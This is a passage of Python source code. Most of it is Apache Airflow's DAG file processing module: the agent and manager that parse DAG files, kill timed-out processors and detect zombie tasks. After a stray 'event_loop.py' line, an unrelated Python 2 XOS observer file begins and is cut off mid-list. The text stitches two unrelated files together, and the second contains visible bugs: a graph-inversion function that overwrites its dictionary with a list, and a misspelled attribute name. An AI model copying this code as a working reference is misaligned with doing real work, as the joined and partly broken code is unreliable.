done(self) -> bool: """ Check if the process launched to process this file is done. :return: whether the process is finished running :rtype: bool """ raise NotImplementedError() @property @abstractmethod def result(self) -> Optional[Tuple[int, int]]: """ A list of simple dags found, and the number of import errors :return: result of running SchedulerJob.process_file() if available. Otherwise, none :rtype: Optional[Tuple[int, int]] """ raise NotImplementedError() @property @abstractmethod def start_time(self) -> datetime: """ :return: When this started to process the file :rtype: datetime """ raise NotImplementedError() @property @abstractmethod def file_path(self) -> str: """ :return: the path to the file that this is processing :rtype: unicode """ raise NotImplementedError() @property @abstractmethod def waitable_handle(self): """A "waitable" handle that can be passed to ``multiprocessing.connection.wait()``""" raise NotImplementedError() class DagParsingStat(NamedTuple): """Information on processing progress""" file_paths: List[str] done: bool all_files_processed: bool class DagFileStat(NamedTuple): """Information about single processing of one file""" num_dags: int import_errors: int last_finish_time: Optional[datetime] last_duration: Optional[float] run_count: int class DagParsingSignal(enum.Enum): """All signals sent to parser.""" AGENT_RUN_ONCE = 'agent_run_once' TERMINATE_MANAGER = 'terminate_manager' END_MANAGER = 'end_manager' class DagFileProcessorAgent(LoggingMixin, MultiprocessingStartMethodMixin): """ Agent for DAG file processing. It is responsible for all DAG parsing related jobs in scheduler process. Mainly it can spin up DagFileProcessorManager in a subprocess, collect DAG parsing results from it and communicate signal/DAG parsing stat with it. This class runs in the main `airflow scheduler` process. :param dag_directory: Directory where DAG definitions are kept. All files in file_paths should be under this directory :type dag_directory: str :param max_runs: The number of times to parse and schedule each file. -1 for unlimited. :type max_runs: int :param processor_factory: function that creates processors for DAG definition files. Arguments are (dag_definition_path, log_file_path) :type processor_factory: ([str, List[CallbackRequest], Optional[List[str]], bool]) -> ( AbstractDagFileProcessorProcess ) :param processor_timeout: How long to wait before timing out a DAG file processor :type processor_timeout: timedelta :param dag_ids: if specified, only schedule tasks with these DAG IDs :type dag_ids: list[str] :param pickle_dags: whether to pickle DAGs. :type: pickle_dags: bool :param async_mode: Whether to start agent in async mode :type async_mode: bool """ def __init__( self, dag_directory: str, max_runs: int, processor_factory: Callable[ [str, List[CallbackRequest], Optional[List[str]], bool], AbstractDagFileProcessorProcess ], processor_timeout: timedelta, dag_ids: Optional[List[str]], pickle_dags: bool, async_mode: bool ): super().__init__() self._file_path_queue: List[str] = [] self._dag_directory: str = dag_directory self._max_runs = max_runs self._processor_factory = processor_factory self._processor_timeout = processor_timeout self._dag_ids = dag_ids self._pickle_dags = pickle_dags self._async_mode = async_mode # Map from file path to the processor self._processors: Dict[str, AbstractDagFileProcessorProcess] = {} # Pipe for communicating signals self._process: Optional[multiprocessing.process.BaseProcess] = None self._done: bool = False # Initialized as true so we do not deactivate w/o any actual DAG parsing. self._all_files_processed = True self._parent_signal_conn: Optional[MultiprocessingConnection] = None self._last_parsing_stat_received_at: float = time.monotonic() def start(self) -> None: """Launch DagFileProcessorManager processor and start DAG parsing loop in manager.""" mp_start_method = self._get_multiprocessing_start_method() context = multiprocessing.get_context(mp_start_method) self._last_parsing_stat_received_at = time.monotonic() self._parent_signal_conn, child_signal_conn = context.Pipe() process = context.Process( target=type(self)._run_processor_manager, args=( self._dag_directory, self._max_runs, # getattr prevents error while pickling an instance method. getattr(self, "_processor_factory"), self._processor_timeout, child_signal_conn, self._dag_ids, self._pickle_dags, self._async_mode ) ) self._process = process process.start() self.log.info("Launched DagFileProcessorManager with pid: %s", process.pid) def run_single_parsing_loop(self) -> None: """ Should only be used when launched DAG file processor manager in sync mode. Send agent heartbeat signal to the manager, requesting that it runs one processing "loop". Call wait_until_finished to ensure that any launched processors have finished before continuing """ if not self._parent_signal_conn or not self._process: raise ValueError("Process not started.") if not self._process.is_alive(): return try: self._parent_signal_conn.send(DagParsingSignal.AGENT_RUN_ONCE) except ConnectionError: # If this died cos of an error then we will noticed and restarted # when harvest_serialized_dags calls _heartbeat_manager. pass def send_callback_to_execute(self, request: CallbackRequest) -> None: """ Sends information about the callback to be executed by DagFileProcessor. :param request: Callback request to be executed. :type request: CallbackRequest """ if not self._parent_signal_conn: raise ValueError("Process not started.") try: self._parent_signal_conn.send(request) except ConnectionError: # If this died cos of an error then we will noticed and restarted # when harvest_serialized_dags calls _heartbeat_manager. pass def send_sla_callback_request_to_execute(self, full_filepath: str, dag_id: str) -> None: """ Sends information about the SLA callback to be executed by DagFileProcessor. :param full_filepath: DAG File path :type full_filepath: str :param dag_id: DAG ID :type dag_id: str """ if not self._parent_signal_conn: raise ValueError("Process not started.") try: request = SlaCallbackRequest(full_filepath=full_filepath, dag_id=dag_id) self._parent_signal_conn.send(request) except ConnectionError: # If this died cos of an error then we will noticed and restarted # when harvest_serialized_dags calls _heartbeat_manager. pass def wait_until_finished(self) -> None: """Waits until DAG parsing is finished.""" if not self._parent_signal_conn: raise ValueError("Process not started.") while self._parent_signal_conn.poll(timeout=None): try: result = self._parent_signal_conn.recv() except EOFError: break self._process_message(result) if isinstance(result, DagParsingStat): # In sync mode we don't send this message from the Manager # until all the running processors have finished self._sync_metadata(result) return @staticmethod def _run_processor_manager( dag_directory: str, max_runs: int, processor_factory: Callable[ [str, List[CallbackRequest]], AbstractDagFileProcessorProcess ], processor_timeout: timedelta, signal_conn: MultiprocessingConnection, dag_ids: Optional[List[str]], pickle_dags: bool, async_mode: bool ) -> None: # Make this process start as a new process group - that makes it easy # to kill all sub-process of this at the OS-level, rather than having # to iterate the child processes os.setpgid(0, 0) setproctitle("airflow scheduler -- DagFileProcessorManager") # Reload configurations and settings to avoid collision with parent process. # Because this process may need custom configurations that cannot be shared, # e.g. RotatingFileHandler. And it can cause connection corruption if we # do not recreate the SQLA connection pool. os.environ['CONFIG_PROCESSOR_MANAGER_LOGGER'] = 'True' os.environ['AIRFLOW__LOGGING__COLORED_CONSOLE_LOG'] = 'False' # Replicating the behavior of how logging module was loaded # in logging_config.py importlib.reload(import_module(airflow.settings.LOGGING_CLASS_PATH.rsplit('.', 1)[0])) # type: ignore importlib.reload(airflow.settings) airflow.settings.initialize() del os.environ['CONFIG_PROCESSOR_MANAGER_LOGGER'] processor_manager = DagFileProcessorManager(dag_directory, max_runs, processor_factory, processor_timeout, signal_conn, dag_ids, pickle_dags, async_mode) processor_manager.start() def heartbeat(self) -> None: """Check if the DagFileProcessorManager process is alive, and process any pending messages""" if not self._parent_signal_conn: raise ValueError("Process not started.") # Receive any pending messages before checking if the process has exited. while self._parent_signal_conn.poll(timeout=0.01): try: result = self._parent_signal_conn.recv() except (EOFError, ConnectionError): break self._process_message(result) # If it died unexpectedly restart the manager process self._heartbeat_manager() def _process_message(self, message): self.log.debug("Received message of type %s", type(message).__name__) if isinstance(message, DagParsingStat): self._sync_metadata(message) else: raise RuntimeError(f"Unexpected message received of type {type(message).__name__}") def _heartbeat_manager(self): """Heartbeat DAG file processor and restart it if we are not done.""" if not self._parent_signal_conn: raise ValueError("Process not started.") if self._process and not self._process.is_alive(): self._process.join(timeout=0) if not self.done: self.log.warning( "DagFileProcessorManager (PID=%d) exited with exit code %d - re-launching", self._process.pid, self._process.exitcode ) self.start() if self.done: return parsing_stat_age = time.monotonic() - self._last_parsing_stat_received_at if parsing_stat_age > self._processor_timeout.total_seconds(): Stats.incr('dag_processing.manager_stalls') self.log.error( "DagFileProcessorManager (PID=%d) last sent a heartbeat %.2f seconds ago! Restarting it", self._process.pid, parsing_stat_age) reap_process_group(self._process.pid, logger=self.log) self.start() def _sync_metadata(self, stat): """Sync metadata from stat queue and only keep the latest stat.""" self._done = stat.done self._all_files_processed = stat.all_files_processed self._last_parsing_stat_received_at = time.monotonic() @property def done(self) -> bool: """Has DagFileProcessorManager ended?""" return self._done @property def all_files_processed(self): """Have all files been processed at least once?""" return self._all_files_processed def terminate(self): """ Send termination signal to DAG parsing processor manager and expect it to terminate all DAG file processors. """ if self._process and self._process.is_alive(): self.log.info("Sending termination message to manager.") try: self._parent_signal_conn.send(DagParsingSignal.TERMINATE_MANAGER) except ConnectionError: pass def end(self): """ Terminate (and then kill) the manager process launched. :return: """ if not self._process: self.log.warning('Ending without manager process.') return # Give the Manager some time to cleanly shut down, but not too long, as # it's better to finish sooner than wait for (non-critical) work to # finish self._process.join(timeout=1.0) reap_process_group(self._process.pid, logger=self.log) self._parent_signal_conn.close() class DagFileProcessorManager(LoggingMixin): # pylint: disable=too-many-instance-attributes """ Given a list of DAG definition files, this kicks off several processors in parallel to process them and put the results to a multiprocessing.Queue for DagFileProcessorAgent to harvest. The parallelism is limited and as the processors finish, more are launched. The files are processed over and over again, but no more often than the specified interval. :param dag_directory: Directory where DAG definitions are kept. All files in file_paths should be under this directory :type dag_directory: unicode :param max_runs: The number of times to parse and schedule each file. -1 for unlimited. :type max_runs: int :param processor_factory: function that creates processors for DAG definition files. Arguments are (dag_definition_path) :type processor_factory: (unicode, unicode, list) -> (AbstractDagFileProcessorProcess) :param processor_timeout: How long to wait before timing out a DAG file processor :type processor_timeout: timedelta :param signal_conn: connection to communicate signal with processor agent. :type signal_conn: MultiprocessingConnection :param dag_ids: if specified, only schedule tasks with these DAG IDs :type dag_ids: list[str] :param pickle_dags: whether to pickle DAGs. :type pickle_dags: bool :param async_mode: whether to start the manager in async mode :type async_mode: bool """ def __init__(self, dag_directory: str, max_runs: int, processor_factory: Callable[ [str, List[CallbackRequest]], AbstractDagFileProcessorProcess ], processor_timeout: timedelta, signal_conn: MultiprocessingConnection, dag_ids: Optional[List[str]], pickle_dags: bool, async_mode: bool = True): super().__init__() self._file_paths: List[str] = [] self._file_path_queue: List[str] = [] self._dag_directory = dag_directory self._max_runs = max_runs self._processor_factory = processor_factory self._signal_conn = signal_conn self._pickle_dags = pickle_dags self._dag_ids = dag_ids self._async_mode = async_mode self._parsing_start_time: Optional[datetime] = None self._parallelism = conf.getint('scheduler', 'max_threads') if 'sqlite' in conf.get('core', 'sql_alchemy_conn') and self._parallelism > 1: self.log.warning( "Because we cannot use more than 1 thread (max_threads = " "%d ) when using sqlite. So we set parallelism to 1.", self._parallelism ) self._parallelism = 1 # Parse and schedule each file no faster than this interval. self._file_process_interval = conf.getint('scheduler', 'min_file_process_interval') # How often to print out DAG file processing stats to the log. Default to # 30 seconds. self.print_stats_interval = conf.getint('scheduler', 'print_stats_interval') # How many seconds do we wait for tasks to heartbeat before mark them as zombies. self._zombie_threshold_secs = ( conf.getint('scheduler', 'scheduler_zombie_task_threshold')) # Should store dag file source in a database? self.store_dag_code = STORE_DAG_CODE # Map from file path to the processor self._processors: Dict[str, AbstractDagFileProcessorProcess] = {} self._num_run = 0 # Map from file path to stats about the file self._file_stats: Dict[str, DagFileStat] = {} self._last_zombie_query_time = None # Last time that the DAG dir was traversed to look for files self.last_dag_dir_refresh_time = timezone.make_aware(datetime.fromtimestamp(0)) # Last time stats were printed self.last_stat_print_time = timezone.datetime(2000, 1, 1) # TODO: Remove magic number self._zombie_query_interval = 10 # How long to wait before timing out a process to parse a DAG file self._processor_timeout = processor_timeout # How often to scan the DAGs directory for new files. Default to 5 minutes. self.dag_dir_list_interval = conf.getint('scheduler', 'dag_dir_list_interval') # Mapping file name and callbacks requests self._callback_to_execute: Dict[str, List[CallbackRequest]] = defaultdict(list) self._log = logging.getLogger('airflow.processor_manager') self.waitables: Dict[Any, Union[MultiprocessingConnection, AbstractDagFileProcessorProcess]] = { self._signal_conn: self._signal_conn, } def register_exit_signals(self): """Register signals that stop child processes""" signal.signal(signal.SIGINT, self._exit_gracefully) signal.signal(signal.SIGTERM, self._exit_gracefully) def _exit_gracefully(self, signum, frame): # pylint: disable=unused-argument """Helper method to clean up DAG file processors to avoid leaving orphan processes.""" self.log.info("Exiting gracefully upon receiving signal %s", signum) self.log.debug("Current Stacktrace is: %s", '\n'.join(map(str, inspect.stack()))) self.terminate() self.end() self.log.debug("Finished terminating DAG processors.") sys.exit(os.EX_OK) def start(self): """ Use multiple processes to parse and generate tasks for the DAGs in parallel. By processing them in separate processes, we can get parallelism and isolation from potentially harmful user code. """ self.register_exit_signals() # Start a new process group os.setpgid(0, 0) self.log.info("Processing files using up to %s processes at a time ", self._parallelism) self.log.info("Process each file at most once every %s seconds", self._file_process_interval) self.log.info( "Checking for new files in %s every %s seconds", self._dag_directory, self.dag_dir_list_interval ) return self._run_parsing_loop() def _run_parsing_loop(self): # In sync mode we want timeout=None -- wait forever until a message is received if self._async_mode: poll_time = 0.0 else: poll_time = None self._refresh_dag_dir() self.prepare_file_path_queue() if self._async_mode: # If we're in async mode, we can start up straight away. If we're # in sync mode we need to be told to start a "loop" self.start_new_processes() while True: loop_start_time = time.time() # pylint: disable=no-else-break ready = multiprocessing.connection.wait(self.waitables.keys(), timeout=poll_time) if self._signal_conn in ready: agent_signal = self._signal_conn.recv() self.log.debug("Received %s signal from DagFileProcessorAgent", agent_signal) if agent_signal == DagParsingSignal.TERMINATE_MANAGER: self.terminate() break elif agent_signal == DagParsingSignal.END_MANAGER: self.end() sys.exit(os.EX_OK) elif agent_signal == DagParsingSignal.AGENT_RUN_ONCE: # continue the loop to parse dags pass elif isinstance(agent_signal, CallbackRequest): self._add_callback_to_queue(agent_signal) else: raise ValueError(f"Invalid message {type(agent_signal)}") if not ready and not self._async_mode: # In "sync" mode we don't want to parse the DAGs until we # are told to (as that would open another connection to the # SQLite DB which isn't a good practice # This shouldn't happen, as in sync mode poll should block for # ever. Lets be defensive about that. self.log.warning( "wait() unexpectedly returned nothing ready after infinite timeout (%r)!", poll_time ) continue for sentinel in ready: if sentinel is self._signal_conn: continue processor = self.waitables.get(sentinel) if not processor: continue self._collect_results_from_processor(processor) self.waitables.pop(sentinel) self._processors.pop(processor.file_path) self._refresh_dag_dir() self._find_zombies() # pylint: disable=no-value-for-parameter self._kill_timed_out_processors() # Generate more file paths to process if we processed all the files # already. if not self._file_path_queue: self.emit_metrics() self.prepare_file_path_queue() self.start_new_processes() # Update number of loop iteration. self._num_run += 1 if not self._async_mode: self.log.debug( "Waiting for processors to finish since we're using sqlite") # Wait until the running DAG processors are finished before # sending a DagParsingStat message back. This means the Agent # can tell we've got to the end of this iteration when it sees # this type of message self.wait_until_finished() # Collect anything else that has finished, but don't kick off any more processors self.collect_results() self._print_stat() all_files_processed = all(self.get_last_finish_time(x) is not None for x in self.file_paths) max_runs_reached = self.max_runs_reached() dag_parsing_stat = DagParsingStat(self._file_paths, max_runs_reached, all_files_processed, ) self._signal_conn.send(dag_parsing_stat) if max_runs_reached: self.log.info("Exiting dag parsing loop as all files " "have been processed %s times", self._max_runs) break if self._async_mode: loop_duration = time.time() - loop_start_time if loop_duration < 1: poll_time = 1 - loop_duration else: poll_time = 0.0 def _add_callback_to_queue(self, request: CallbackRequest): self._callback_to_execute[request.full_filepath].append(request) # Callback has a higher priority over DAG Run scheduling if request.full_filepath in self._file_path_queue: self._file_path_queue.remove(request.full_filepath) self._file_path_queue.insert(0, request.full_filepath) def _refresh_dag_dir(self): """Refresh file paths from dag dir if we haven't done it for too long.""" now = timezone.utcnow() elapsed_time_since_refresh = (now - self.last_dag_dir_refresh_time).total_seconds() if elapsed_time_since_refresh > self.dag_dir_list_interval: # Build up a list of Python files that could contain DAGs self.log.info("Searching for files in %s", self._dag_directory) self._file_paths = list_py_file_paths(self._dag_directory) self.last_dag_dir_refresh_time = now self.log.info("There are %s files in %s", len(self._file_paths), self._dag_directory) self.set_file_paths(self._file_paths) try: self.log.debug("Removing old import errors") self.clear_nonexistent_import_errors() # pylint: disable=no-value-for-parameter except Exception: # noqa pylint: disable=broad-except self.log.exception("Error removing old import errors") SerializedDagModel.remove_deleted_dags(self._file_paths) DagModel.deactivate_deleted_dags(self._file_paths) if self.store_dag_code: from airflow.models.dagcode import DagCode DagCode.remove_deleted_code(self._file_paths) def _print_stat(self): """Occasionally print out stats about how fast the files are getting processed""" if 0 < self.print_stats_interval < ( timezone.utcnow() - self.last_stat_print_time).total_seconds(): if self._file_paths: self._log_file_processing_stats(self._file_paths) self.last_stat_print_time = timezone.utcnow() @provide_session def clear_nonexistent_import_errors(self, session): """ Clears import errors for files that no longer exist. :param session: session for ORM operations :type session: sqlalchemy.orm.session.Session """ query = session.query(errors.ImportError) if self._file_paths: query = query.filter( ~errors.ImportError.filename.in_(self._file_paths) ) query.delete(synchronize_session='fetch') session.commit() def _log_file_processing_stats(self, known_file_paths): """ Print out stats about how files are getting processed. :param known_file_paths: a list of file paths that may contain Airflow DAG definitions :type known_file_paths: list[unicode] :return: None """ # File Path: Path to the file containing the DAG definition # PID: PID associated with the process that's processing the file. May # be empty. # Runtime: If the process is currently running, how long it's been # running for in seconds. # Last Runtime: If the process ran before, how long did it take to # finish in seconds # Last Run: When the file finished processing in the previous run. headers = ["File Path", "PID", "Runtime", "# DAGs", "# Errors", "Last Runtime", "Last Run"] rows = [] now = timezone.utcnow() for file_path in known_file_paths: last_runtime = self.get_last_runtime(file_path) num_dags = self.get_last_dag_count(file_path) num_errors = self.get_last_error_count(file_path) file_name = os.path.basename(file_path) file_name = os.path.splitext(file_name)[0].replace(os.sep, '.') processor_pid = self.get_pid(file_path) processor_start_time = self.get_start_time(file_path) runtime = ((now - processor_start_time) if processor_start_time else None) last_run = self.get_last_finish_time(file_path) if last_run: seconds_ago = (now - last_run).total_seconds() Stats.gauge('dag_processing.last_run.seconds_ago.{}'.format(file_name), seconds_ago) if runtime: Stats.timing('dag_processing.last_duration.{}'.format(file_name), runtime) # TODO: Remove before Airflow 2.0 Stats.timing('dag_processing.last_runtime.{}'.format(file_name), runtime) rows.append((file_path, processor_pid, runtime, num_dags, num_errors, last_runtime, last_run)) # Sort by longest last runtime. (Can't sort None values in python3) rows = sorted(rows, key=lambda x: x[3] or 0.0) formatted_rows = [] for file_path, pid, runtime, num_dags, num_errors, last_runtime, last_run in rows: formatted_rows.append((file_path, pid, "{:.2f}s".format(runtime.total_seconds()) if runtime else None, num_dags, num_errors, "{:.2f}s".format(last_runtime) if last_runtime else None, last_run.strftime("%Y-%m-%dT%H:%M:%S") if last_run else None )) log_str = ("\n" + "=" * 80 + "\n" + "DAG File Processing Stats\n\n" + tabulate(formatted_rows, headers=headers) + "\n" + "=" * 80) self.log.info(log_str) def get_pid(self, file_path): """ :param file_path: the path to the file that's being processed :type file_path: unicode :return: the PID of the process processing the given file or None if the specified file is not being processed :rtype: int """ if file_path in self._processors: return self._processors[file_path].pid return None def get_all_pids(self): """ :return: a list of the PIDs for the processors that are running :rtype: List[int] """ return [x.pid for x in self._processors.values()] def get_last_runtime(self, file_path): """ :param file_path: the path to the file that was processed :type file_path: unicode :return: the runtime (in seconds) of the process of the last run, or None if the file was never processed. :rtype: float """ stat = self._file_stats.get(file_path) return stat.last_duration if stat else None def get_last_dag_count(self, file_path): """ :param file_path: the path to the file that was processed :type file_path: unicode :return: the number of dags loaded from that file, or None if the file was never processed. :rtype: int """ stat = self._file_stats.get(file_path) return stat.num_dags if stat else None def get_last_error_count(self, file_path): """ :param file_path: the path to the file that was processed :type file_path: unicode :return: the number of import errors from processing, or None if the file was never processed. :rtype: int """ stat = self._file_stats.get(file_path) return stat.import_errors if stat else None def get_last_finish_time(self, file_path): """ :param file_path: the path to the file that was processed :type file_path: unicode :return: the finish time of the process of the last run, or None if the file was never processed. :rtype: datetime """ stat = self._file_stats.get(file_path) return stat.last_finish_time if stat else None def get_start_time(self, file_path): """ :param file_path: the path to the file that's being processed :type file_path: unicode :return: the start time of the process that's processing the specified file or None if the file is not currently being processed :rtype: datetime """ if file_path in self._processors: return self._processors[file_path].start_time return None def get_run_count(self, file_path): """ :param file_path: the path to the file that's being processed :type file_path: unicode :return: the number of times the given file has been parsed :rtype: int """ stat = self._file_stats.get(file_path) return stat.run_count if stat else 0 def set_file_paths(self, new_file_paths): """ Update this with a new set of paths to DAG definition files. :param new_file_paths: list of paths to DAG definition files :type new_file_paths: list[unicode] :return: None """ self._file_paths = new_file_paths self._file_path_queue = [x for x in self._file_path_queue if x in new_file_paths] # Stop processors that are working on deleted files filtered_processors = {} for file_path, processor in self._processors.items(): if file_path in new_file_paths: filtered_processors[file_path] = processor else: self.log.warning("Stopping processor for %s", file_path) Stats.decr('dag_processing.processes') processor.terminate() self._file_stats.pop(file_path) self._processors = filtered_processors def wait_until_finished(self): """Sleeps until all the processors are done.""" for processor in self._processors.values(): while not processor.done: time.sleep(0.1) def _collect_results_from_processor(self, processor) -> None: self.log.debug("Processor for %s finished", processor.file_path) Stats.decr('dag_processing.processes') last_finish_time = timezone.utcnow() if processor.result is not None: num_dags, count_import_errors = processor.result else: self.log.error( "Processor for %s exited with return code %s.", processor.file_path, processor.exit_code ) count_import_errors = -1 num_dags = 0 stat = DagFileStat( num_dags=num_dags, import_errors=count_import_errors, last_finish_time=last_finish_time, last_duration=(last_finish_time - processor.start_time).total_seconds(), run_count=self.get_run_count(processor.file_path) + 1, ) self._file_stats[processor.file_path] = stat def collect_results(self) -> None: """Collect the result from any finished DAG processors""" ready = multiprocessing.connection.wait(self.waitables.keys() - [self._signal_conn], timeout=0) for sentinel in ready: if sentinel is self._signal_conn: continue processor = cast(AbstractDagFileProcessorProcess, self.waitables[sentinel]) self.waitables.pop(processor.waitable_handle) self._processors.pop(processor.file_path) self._collect_results_from_processor(processor) self.log.debug("%s/%s DAG parsing processes running", len(self._processors), self._parallelism) self.log.debug("%s file paths queued for processing", len(self._file_path_queue)) def start_new_processes(self): """Start more processors if we have enough slots and files to process""" while self._parallelism - len(self._processors) > 0 and self._file_path_queue: file_path = self._file_path_queue.pop(0) callback_to_execute_for_file = self._callback_to_execute[file_path] processor = self._processor_factory( file_path, callback_to_execute_for_file, self._dag_ids, self._pickle_dags) del self._callback_to_execute[file_path] Stats.incr('dag_processing.processes') processor.start() self.log.debug( "Started a process (PID: %s) to generate tasks for %s", processor.pid, file_path ) self._processors[file_path] = processor self.waitables[processor.waitable_handle] = processor def prepare_file_path_queue(self): """Generate more file paths to process. Result are saved in _file_path_queue.""" self._parsing_start_time = timezone.utcnow() # If the file path is already being processed, or if a file was # processed recently, wait until the next batch file_paths_in_progress = self._processors.keys() now = timezone.utcnow() file_paths_recently_processed = [] for file_path in self._file_paths: last_finish_time = self.get_last_finish_time(file_path) if (last_finish_time is not None and (now - last_finish_time).total_seconds() < self._file_process_interval): file_paths_recently_processed.append(file_path) files_paths_at_run_limit = [file_path for file_path, stat in self._file_stats.items() if stat.run_count == self._max_runs] files_paths_to_queue = list(set(self._file_paths) - set(file_paths_in_progress) - set(file_paths_recently_processed) - set(files_paths_at_run_limit)) for file_path, processor in self._processors.items(): self.log.debug( "File path %s is still being processed (started: %s)", processor.file_path, processor.start_time.isoformat() ) self.log.debug( "Queuing the following files for processing:\n\t%s", "\n\t".join(files_paths_to_queue) ) for file_path in files_paths_to_queue: if file_path not in self._file_stats: self._file_stats[file_path] = DagFileStat( num_dags=0, import_errors=0, last_finish_time=None, last_duration=None, run_count=0 ) self._file_path_queue.extend(files_paths_to_queue) @provide_session def _find_zombies(self, session): """ Find zombie task instances, which are tasks haven't heartbeated for too long and update the current zombie list. """ now = timezone.utcnow() if not self._last_zombie_query_time or \ (now - self._last_zombie_query_time).total_seconds() > self._zombie_query_interval: # to avoid circular imports from airflow.jobs.local_task_job import LocalTaskJob as LJ self.log.info("Finding 'running' jobs without a recent heartbeat") TI = airflow.models.TaskInstance DM = airflow.models.DagModel limit_dttm = timezone.utcnow() - timedelta(seconds=self._zombie_threshold_secs) self.log.info("Failing jobs without heartbeat after %s", limit_dttm) zombies = ( session.query(TI, DM.fileloc) .join(LJ, TI.job_id == LJ.id) .join(DM, TI.dag_id == DM.dag_id) .filter(TI.state == State.RUNNING) .filter( or_( LJ.state != State.RUNNING, LJ.latest_heartbeat < limit_dttm, ) ).all() ) self._last_zombie_query_time = timezone.utcnow() for ti, file_loc in zombies: request = TaskCallbackRequest( full_filepath=file_loc, simple_task_instance=SimpleTaskInstance(ti), msg="Detected as zombie", ) self.log.info("Detected zombie job: %s", request) self._add_callback_to_queue(request) Stats.incr('zombies_killed') def _kill_timed_out_processors(self): """Kill any file processors that timeout to defend against process hangs.""" now = timezone.utcnow() for file_path, processor in self._processors.items(): duration = now - processor.start_time if duration > self._processor_timeout: self.log.error( "Processor for %s with PID %s started at %s has timed out, " "killing it.", file_path, processor.pid, processor.start_time.isoformat()) Stats.decr('dag_processing.processes') Stats.incr('dag_processing.processor_timeouts') # TODO: Remove after Airflow 2.0 Stats.incr('dag_file_processor_timeouts') processor.kill() def max_runs_reached(self): """:return: whether all file paths have been processed max_runs times""" if self._max_runs == -1: # Unlimited runs. return False for stat in self._file_stats.values(): if stat.run_count < self._max_runs: return False if self._num_run < self._max_runs: return False return True def terminate(self): """ Stops all running processors :return: None """ for processor in self._processors.values(): Stats.decr('dag_processing.processes') processor.terminate() def end(self): """ Kill all child processes on exit since we don't want to leave them as orphaned. """ pids_to_kill = self.get_all_pids() if pids_to_kill: kill_child_processes_by_pids(pids_to_kill) def emit_metrics(self): """ Emit metrics about dag parsing summary This is called once every time around the parsing "loop" - i.e. after all files have been parsed. """ parse_time = (timezone.utcnow() - self._parsing_start_time).total_seconds() Stats.gauge('dag_processing.total_parse_time', parse_time) Stats.gauge('dagbag_size', sum(stat.num_dags for stat in self._file_stats.values())) Stats.gauge('dag_processing.import_errors', sum(stat.import_errors for stat in self._file_stats.values())) # TODO: Remove before Airflow 2.0 Stats.gauge('collect_dags', parse_time) Stats.gauge('dagbag_import_errors', sum(stat.import_errors for stat in self._file_stats.values())) # pylint: disable=missing-docstring @property def file_paths(self): return self._file_paths
event_loop.py
import os import imp import inspect import time import sys import traceback import commands import threading import json import pdb import pprint from datetime import datetime from collections import defaultdict from core.models import * from django.db.models import F, Q from django.db import connection #from openstack.manager import OpenStackManager from openstack.driver import OpenStackDriver from util.logger import Logger, logging, logger #from timeout import timeout from xos.config import Config, XOS_DIR from observer.steps import * from syncstep import SyncStep from toposort import toposort from observer.error_mapper import * from openstack_observer.openstacksyncstep import OpenStackSyncStep debug_mode = False class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' logger = Logger(level=logging.INFO) class StepNotReady(Exception): pass class NoOpDriver: def __init__(self): self.enabled = True self.dependency_graph = None STEP_STATUS_WORKING=1 STEP_STATUS_OK=2 STEP_STATUS_KO=3 def invert_graph(g): ig = {} for k,v in g.items(): for v0 in v: try: ig[v0].append(k) except: ig=[k] return ig class XOSObserver: #sync_steps = [SyncNetworks,SyncNetworkSlivers,SyncSites,SyncSitePrivilege,SyncSlices,SyncSliceMemberships,SyncSlivers,SyncSliverIps,SyncExternalRoutes,SyncUsers,SyncRoles,SyncNodes,SyncImages,GarbageCollector] sync_steps = [] def __init__(self): # The Condition object that gets signalled by Feefie events self.step_lookup = {} self.load_sync_step_modules() self.load_sync_steps() self.event_cond = threading.Condition() self.driver_kind = getattr(Config(), "observer_driver", "openstack") if self.driver_kind=="openstack": self.driver = OpenStackDriver() else: self.driver = NoOpDriver() def wait_for_event(self, timeout): self.event_cond.acquire() self.event_cond.wait(timeout) self.event_cond.release() def wake_up(self): logger.info('Wake up routine called. Event cond %r'%self.event_cond) self.event_cond.acquire() self.event_cond.notify() self.event_cond.release() def load_sync_step_modules(self, step_dir=None): if step_dir is None: if hasattr(Config(), "observer_steps_dir"): step_dir = Config().observer_steps_dir else: step_dir = XOS_DIR + "/observer/steps" for fn in os.listdir(step_dir): pathname = os.path.join(step_dir,fn) if os.path.isfile(pathname) and fn.endswith(".py") and (fn!="__init__.py"): module = imp.load_source(fn[:-3],pathname) for classname in dir(module): c = getattr(module, classname, None) # make sure 'c' is a descendent of SyncStep and has a # provides field (this eliminates the abstract base classes # since they don't have a provides) if inspect.isclass(c) and (issubclass(c, SyncStep) or issubclass(c,OpenStackSyncStep)) and hasattr(c,"provides") and (c not in self.sync_steps): self.sync_steps.append(c) logger.info('loaded sync steps: %s' % ",".join([x.__name__ for x in self.sync_steps])) # print 'loaded sync steps: %s' % ",".join([x.__name__ for x in self.sync_steps]) def load_sync_steps(self): dep_path = Config().observer_dependency_graph logger.info('Loading model dependency graph from %s' % dep_path) try: # This contains dependencies between records, not sync steps self.model_dependency_graph = json.loads(open(dep_path).read()) for left,lst in self.model_dependency_graph.items(): new_lst = [] for k in lst: try: tup = (k,k.lower()) new_lst.append(tup) deps = self.model_dependency_graph[k] except: self.model_dependency_graph[k] = [] self.model_dependency_graph[left] = new_lst except Exception,e: raise e try: backend_path = Config().observer_pl_dependency_graph logger.info('Loading backend dependency graph from %s' % backend_path) # This contains dependencies between backend records self.backend_dependency_graph = json.loads(open(backend_path).read()) for k,v in self.backend_dependency_graph.items(): try: self.model_dependency_graph[k].extend(v) except KeyError: self.model_dependency_graphp[k] = v except Exception,e: logger.info('Backend dependency graph not loaded') # We can work without a backend graph self.backend_dependency_graph = {} provides_dict = {} for s in self.sync_steps: self.step_lookup[s.__name__] = s for m in s.provides: try: provides_dict[m.__name__].append(s.__name__) except KeyError: provides_dict[m.__name__]=[s.__name__] step_graph = {} for k,v in self.model_dependency_graph.items(): try: for source in provides_dict[k]: if (not v): step_graph[source] = [] for m,_ in v: try: for dest in provides_dict[m]: # no deps, pass try: if (dest not in step_graph[source]): step_graph[source].append(dest) except: step_graph[source]=[dest] except KeyError: pass except KeyError: pass # no dependencies, pass self.dependency_graph = step_graph self.deletion_dependency_graph = invert_graph(step_graph) pp = pprint.PrettyPrinter(indent=4) pp.pprint(step_graph) self.ordered_steps = toposort(self.dependency_graph, map(lambda s:s.__name__,self.sync_steps)) #self.ordered_steps = ['SyncRoles', 'SyncControllerSites', 'SyncControllerSitePrivileges','SyncImages', 